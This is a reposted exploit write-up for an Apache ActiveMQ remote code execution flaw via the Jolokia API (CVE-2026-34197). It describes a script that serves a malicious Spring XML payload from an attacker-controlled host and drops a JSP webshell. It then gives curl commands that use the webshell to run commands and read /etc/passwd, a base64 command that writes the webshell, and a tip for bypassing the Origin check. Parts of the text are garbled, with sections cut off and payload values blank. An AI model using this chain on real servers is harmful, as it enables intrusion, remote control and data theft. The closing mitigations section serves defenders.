Exploit for Improper Input Validation in Apache Activemq CVE-2026-34197

## https://sploitus.com/exploit?id=045EFDB1-ADE8-5FDE-B1AB-BAA073B03C28
# CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia

## 1. Overview

| Item | Details |
|------|---------|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (HIGH) |
| Vulnerability Type | Remote Code Execution (RCE) |
| CWE | CWE-20 Improper Input Validation / CWE-94 Code Injection |
| Affected Component | Apache ActiveMQ Classic - Jolokia JMX-HTTP Bridge |
| Affected Versions |  \
  --lport 9999
```

The script performs the following actions:

1. Checks the Jolokia API.
2. Discovers the broker name.
3. Removes an existing `NetworkConnector` named `NC` to make repeated testing reliable.
4. Starts a local HTTP server that serves a malicious Spring XML payload. The JSP webshell is embedded as base64, so the target only needs to fetch the XML once.
5. Sends an `addNetworkConnector` request to trigger the vulnerable code path.
6. Verifies that the webshell was written successfully.

#### Step 4: Use the webshell

```bash
curl -u admin:admin "http://TARGET:8161/admin/.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/.jsp?cmd=cat+/etc/passwd"
```

### 3.3 Sample Output

```text
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic 
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
```

## 4. Version Comparison

| Version | Image | Jolokia Response | RCE |
|---------|-------|------------------|-----|
| 5.18.6 | `apache/activemq-classic:5.18.6` | `status: 200, value: NC` | Successful as `uid=0(root)` |
| 6.2.1 | `alfresco/alfresco-activemq:6.2.1` | `status: 200, value: NC` | Successful as `uid=33031(amq)` |
| 6.2.3 | `alfresco/alfresco-activemq:6.2` | `error: VM scheme is not allowed` | Fixed |

## 5. Exploitation Notes and Limitations

### 5.1 Repeated Exploitation

`addNetworkConnector()` registers a connector named `NC`. A second registration fails with a JMX naming conflict and returns a 500 error. The script handles this by calling `removeNetworkConnector("NC")` before triggering the exploit.

### 5.2 Webshell Write

ActiveMQ uses embedded Jetty, but the webapps directory exists on disk and the JSP engine compiles newly written `.jsp` files. This makes webshell writing possible in the tested environment.

The payload writes the JSP using inline base64:

```bash
echo  | base64 -d > /opt/activemq/webapps/admin/.jsp
```

Benefits:

- Avoids XML parsing issues caused by JSP special characters such as ``, `%`, and `"`.
- Avoids a second outbound request from the target to download the JSP. The target only fetches the XML payload.

### 5.3 Outbound Network Requirement

The target must be able to reach the attacker-controlled HTTP server to fetch the Spring XML payload. If the target has no outbound route to the attacker, this exploit path cannot complete.

### 5.4 Jolokia Origin Check

Direct Jolokia requests may return 403 due to CORS checks. Include an `Origin` header that matches the target:

```text
Origin: http://TARGET:8161
```

## 6. Files

```text
CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server
```

### Script Comparison

| Script | Purpose | Outbound Requirement | Webshell |
|--------|---------|----------------------|----------|
| `exploit_poc.py` | Original blind RCE PoC that runs an arbitrary command | Required | No |
| `exploit_webshell.py` | One-shot reflected RCE through a written JSP webshell | Required only for the XML fetch | Automatically written with a random filename |

## 7. Mitigation

1. **Upgrade** - Upgrade to ActiveMQ Classic 5.19.4+ or 6.2.3+.
2. **Restrict Jolokia access** - Limit access to port 8161 with firewall rules or network policy.
3. **Disable Jolokia** - If remote JMX management is not required, disable the Jolokia API in `jetty.xml`.
4. **Change default credentials** - Replace the default `admin:admin` credentials.
5. **Restrict outbound access** - Prevent ActiveMQ from reaching untrusted external HTTP resources.

## 8. References

- Horizon3.ai disclosure: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
- Apache security advisory: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
- Original PoC repository: https://github.com/dinosn/CVE-2026-34197